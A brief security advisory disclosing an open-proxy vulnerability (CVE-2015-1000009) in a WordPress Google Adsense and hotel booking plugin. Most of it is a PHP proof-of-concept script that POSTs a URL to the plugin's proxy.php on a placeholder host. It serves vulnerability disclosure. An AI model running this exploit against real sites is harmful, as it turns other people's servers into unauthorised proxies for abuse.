Open proxy in Wordpress plugin google-adsense-and-hotel-booking v1.05
CVE ID(s):
CVE-2015-1000009
Notified: 2015-08-15
Description:
Automatically insert Google Adsense ads and Hotel Reservations.
Exploit:
<?php
$target_url = 'http://www.example.com/wp-content/plugins/google-adsense-and-hotel-booking/proxy.php';
echo "POST to $target_url";
$post = array('url' => $target_url,'url'=>$target_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$target_url);
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$result=curl_exec ($ch);
curl_close ($ch);
echo "#####################################";
echo $result;
echo "#####################################";
?>